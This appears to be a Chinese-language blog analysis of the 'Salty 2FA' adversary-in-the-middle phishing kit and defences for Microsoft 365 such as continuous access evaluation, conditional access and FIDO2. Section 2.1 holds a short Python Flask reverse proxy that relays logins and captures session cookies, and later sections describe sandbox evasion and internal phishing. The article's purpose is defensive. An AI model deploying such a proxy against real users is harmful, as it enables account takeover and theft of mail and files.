基于中间人代理的MFA绕过攻击及其对Microsoft 365安全架构的影响分析

摘要

近年来,多因素认证(MFA)被广泛视为抵御凭证窃取的关键防线。然而,新型钓鱼工具包“Salty 2FA”的出现,揭示了传统MFA在面对实时中间人代理(Adversary-in-the-Middle, AiTM)攻击时的结构性脆弱性。该工具包通过动态反向代理机制,在用户完成完整认证流程(包括输入密码与MFA验证码)后,同步截获有效会话Cookie与访问令牌,并立即用于接管Microsoft 365账户,实现对Outlook、Teams、SharePoint等核心服务的无缝访问。本文基于KnowBe4与ANYRUN披露的技术细节,系统剖析Salty 2FA的工作原理、对抗检测机制及横向扩展能力,指出当前依赖静态MFA验证的安全模型存在根本缺陷。研究进一步论证,仅部署MFA不足以阻断高级钓鱼攻击,必须结合条件访问策略、客户端证明(Client Attestation)、连续访问评估(CAE)及FIDO2无密码认证构建纵深防御体系。文章提出可落地的检测逻辑与缓解措施,并辅以代码示例,强调安全指标应从“钓鱼点击率”转向“被劫持会话的有效持续时间”,以更真实反映组织身份安全态势。

关键词:中间人代理;MFA绕过;Salty 2FA;Microsoft 365;会话劫持;条件访问;FIDO2;连续访问评估

1 引言

多因素认证(MFA)长期以来被视为提升账户安全性的黄金标准。微软官方数据显示,启用MFA可阻止99.9%的自动化账户入侵尝试。然而,这一统计主要针对暴力破解或凭证填充类攻击,对具备实时交互能力的高级钓鱼手段——尤其是中间人代理(AiTM)攻击——防护效果显著下降。2025年中,网络安全公司ANYRUN披露了一款名为“Salty 2FA”的新型钓鱼即服务(PhaaS)平台,其通过反向代理技术完整复现目标登录流程,在用户无感知的情况下同步窃取认证后的会话状态,从而绕过几乎所有基于时间的一次性密码(TOTP)、短信验证码乃至部分推送通知类MFA机制。

Salty 2FA并非孤立事件,而是代表了钓鱼攻击从“凭证收集”向“会话接管”演进的技术拐点。攻击者不再满足于获取用户名和密码,而是追求对合法会话的直接控制,以规避后续的身份验证检查。尤其在Microsoft 365生态中,一旦攻击者获得有效会话Cookie或OAuth 2.0访问令牌,即可直接调用Graph API访问邮件、日历、文件甚至执行管理员操作,而无需再次触发MFA。

此类攻击对企业的业务连续性与数据完整性构成严重威胁。被接管的邮箱常被用于配置隐藏外发规则(如将包含“发票”“付款”关键词的邮件自动转发至攻击者地址),或作为可信来源发起商业电子邮件欺诈(BEC),成功率极高。更值得警惕的是,Salty 2FA内置沙箱逃逸机制与会话生命周期管理面板,表明其开发者具备专业安全对抗意识,攻击已进入工业化阶段。

本文旨在深入解析Salty 2FA的技术实现路径,评估其对现有Microsoft 365安全架构的冲击,并提出基于现代身份治理原则的防御框架。全文结构如下:第二部分详述AiTM攻击原理与Salty 2FA的核心功能;第三部分分析传统MFA在会话层的防护盲区;第四部分提出多维度缓解策略并提供可执行代码示例;第五部分讨论安全度量指标的范式转移;第六部分总结研究结论。

2 Salty 2FA攻击机制剖析

2.1 中间人代理(AiTM)工作流程

Salty 2FA的核心在于部署一个位于用户与真实Microsoft 365登录端点之间的反向代理服务器。当受害者点击钓鱼邮件中的链接(如“查看新发票”)时,被重定向至攻击者控制的仿冒登录页面。该页面并非静态表单,而是动态代理请求至真实的login.microsoftonline.com。

具体流程如下:

用户访问钓鱼URL;

攻击者服务器向Microsoft 365发起GET /login请求,获取原始登录页HTML;

攻击者替换HTML中的表单提交地址(action)为自身代理端点,并注入JavaScript用于捕获后续MFA交互;

用户输入用户名/密码并提交;

攻击者将凭证转发至Microsoft 365,若触发MFA(如Microsoft Authenticator推送),则继续代理MFA挑战页面;

用户完成MFA验证;

Microsoft 365返回Set-Cookie头(包含FedAuth、x-ms-gateway-token等关键会话标识)及重定向至应用主页;

攻击者截获所有响应头与Cookie,在记录凭证的同时,将完整会话状态保存至后台;

用户被正常重定向至Outlook等应用,全程无异常感知;

攻击者利用所获Cookie或访问令牌,通过脚本或浏览器自动化工具直接登录同一会话。

以下为简化版反向代理核心逻辑(使用Python Flask + requests):

from flask import Flask, request, Response, make_response

import requests

import re

app = Flask(__name__)

TARGET = "https://login.microsoftonline.com"

# 存储会话映射

session_store = {}

@app.route('/<path:path>', methods=['GET', 'POST'])

def proxy(path):

url = f"{TARGET}/{path}"

headers = {key: value for (key, value) in request.headers if key != 'Host'}

cookies = request.cookies

# 转发请求

if request.method == 'GET':

resp = requests.get(url, headers=headers, cookies=cookies, stream=True)

else:

resp = requests.post(url, data=request.form, headers=headers, cookies=cookies, stream=True)

# 构造响应

response = make_response(resp.content)

response.status_code = resp.status_code

# 拦截Set-Cookie

if 'Set-Cookie' in resp.headers:

cookies_to_set = resp.headers.getlist('Set-Cookie')

for cookie in cookies_to_set:

# 提取关键会话Cookie(如FedAuth)

if 'FedAuth=' in cookie or 'x-ms-gateway-token' in cookie:

session_id = request.remote_addr + "_" + str(time.time())

session_store[session_id] = cookie

print(f"[!] Captured session cookie: {cookie[:50]}...")

response.headers.add('Set-Cookie', cookie)

# 修改HTML中的表单action指向自身

if resp.headers.get('Content-Type', '').startswith('text/html'):

content = resp.text

content = re.sub(

r'action="https://[^"]*login\.microsoftonline\.com[^"]*"',

f'action="/{path}"',

content

)

response.set_data(content.encode('utf-8'))

return response

该代理确保用户与Microsoft 365的交互完全真实,因此MFA流程正常触发且验证成功,但所有认证成果均被攻击者同步获取。

2.2 对抗检测机制

Salty 2FA具备初级沙箱逃逸能力。其前端JavaScript会检测以下环境特征:

浏览器窗口分辨率是否为典型沙箱值(如1024×768);

是否存在自动化测试框架的全局变量(如window.callPhantom);

User-Agent是否来自已知爬虫或分析平台;

页面加载后是否立即执行脚本(沙箱常加速执行)。

若判定为非真实用户环境,则返回一个无害的静态“页面维护中”提示,避免暴露代理链。反之,则启动完整代理流程。

2.3 会话管理与横向钓鱼

攻击者控制面板可实时显示已捕获会话的剩余有效期(基于Cookie的Max-Age或令牌的expires_in字段)。对于即将失效的会话,系统支持“一键发起内部钓鱼”:自动以受害者身份向其联系人发送定制化钓鱼邮件(如“请审阅这份合同”),利用组织内部信任关系扩大攻击面。由于发件人邮箱真实且已通过MFA,此类邮件极难被传统网关识别。

3 传统MFA的会话层防护盲区

3.1 MFA验证点与会话创建的时空分离

MFA仅在初始认证时刻验证用户身份,一旦会话建立,后续请求仅依赖Cookie或令牌进行无状态验证。攻击者通过AiTM在认证完成瞬间劫持会话,使得MFA的验证结果被“继承”而非“绕过”。从系统视角看,攻击者的会话是完全合法的。

3.2 缺乏客户端上下文绑定

标准OAuth 2.0或SAML流程中,颁发的令牌未与特定设备、浏览器或网络环境绑定。攻击者可在任意设备上重放令牌,只要未过期即可访问资源。Microsoft虽支持设备合规性检查,但默认未强制启用,且对非托管设备(如个人手机)覆盖有限。

3.3 会话有效期过长

Microsoft 365默认会话有效期可达数小时甚至数天(取决于策略)。在此期间,即使用户登出或修改密码,已颁发的Refresh Token仍可换取新Access Token,除非显式吊销。

4 防御体系构建

4.1 启用连续访问评估(Continuous Access Evaluation, CAE)

CAE是Microsoft推出的实时令牌撤销机制。当检测到高风险事件(如密码重置、设备丢失报告),CAE可在数秒内使相关访问令牌失效,大幅缩短攻击窗口。管理员需在Azure AD中启用CAE并确保应用支持增量权限撤销。

4.2 实施条件访问(Conditional Access)策略

建议配置以下策略:

要求受信任设备(标记为合规或混合Azure AD加入);

对高风险登录(如匿名IP、Tor出口节点)强制重新认证;

对敏感应用(如Exchange Online、SharePoint Admin)要求FIDO2安全密钥。

4.3 部署客户端证明(Client Attestation)

客户端证明通过TPM或安全芯片生成设备唯一证明,将令牌与硬件绑定。即使令牌被窃,也无法在其他设备上使用。Microsoft Intune可管理Windows/Android设备的证明注册。

4.4 推广FIDO2无密码认证

FIDO2(如YubiKey、Windows Hello)基于公钥加密,私钥永不离开设备,从根本上杜绝凭证中继与钓鱼风险。其认证过程包含对RP ID(Relying Party Identifier)的校验,确保仅在真实Microsoft域名下触发,仿冒页面无法获取有效签名。

4.5 异常会话行为检测

组织应监控以下信号:

同一会话ID短时间内出现在不同地理位置;

User-Agent频繁变更(如从Chrome Windows突变为Headless Chrome Linux);

会话建立后立即访问大量联系人或创建邮件规则。

以下为基于Azure AD Sign-in Logs的异常检测伪代码:

import pandas as pd

from geopy.distance import geodesic

def detect_anomalous_session(signin_logs):

df = pd.DataFrame(signin_logs)

df['timestamp'] = pd.to_datetime(df['createdDateTime'])

df = df.sort_values('timestamp')

for i in range(1, len(df)):

prev = df.iloc[i-1]

curr = df.iloc[i]

if curr['sessionId'] == prev['sessionId']:

# 同一会话

if curr['userAgent'] != prev['userAgent']:

print(f"UA change in session {curr['sessionId']}")

dist = geodesic(

(prev['location']['lat'], prev['location']['lon']),

(curr['location']['lat'], curr['location']['lon'])

).km

time_diff = (curr['timestamp'] - prev['timestamp']).total_seconds() / 3600

if time_diff > 0 and dist / time_diff > 800: # >800 km/h

print(f"Impossible travel detected in session {curr['sessionId']}")

4.6 用户教育:识别AiTM微信号

尽管AiTM力求透明,但网络延迟或代理处理可能导致登录过程出现短暂卡顿、页面闪烁或URL栏短暂跳转。应教育用户:若在“正常”登录Microsoft 365时感知异常延迟,应立即中断操作并报告IT部门。

5 安全度量指标的范式转移

传统钓鱼演练以“点击率”为核心KPI,但面对AiTM攻击,点击本身已非关键——即使用户完成全部MFA步骤,账户仍可能失陷。因此,组织应转向衡量“被劫持会话的有效持续时间”:

从会话创建到首次异常活动的时间;

从令牌颁发到被CAE撤销的延迟;

攻击者利用会话发起横向钓鱼的平均间隔。

该指标更能反映身份基础设施的真实韧性,推动防御重心从“防点击”转向“防持久化”。

6 结语

Salty 2FA等新型钓鱼工具包的出现,标志着MFA作为单一防线的时代已经结束。中间人代理攻击通过劫持认证后的合法会话,绕过了MFA在时间维度上的保护作用,暴露出当前身份验证体系在会话绑定与上下文感知方面的不足。防御此类威胁,不能依赖用户警惕性或静态策略,而需依托Microsoft 365生态提供的现代身份能力——包括连续访问评估、条件访问、客户端证明与FIDO2无密码认证——构建动态、自适应的零信任架构。

未来,随着攻击自动化程度提升,防御也必须走向自动化与智能化。组织应将重点从阻止初始入侵转向限制攻击者在环境内的行动自由,通过缩短令牌生命周期、强化设备证明、实时监控会话行为,确保即使凭证或会话被窃,其可利用价值也趋近于零。唯有如此,方能在高级钓鱼威胁日益常态化的今天,真正守护云身份的安全边界。

编辑:芦笛(公共互联网反网络钓鱼工作组)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芦熙霖

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值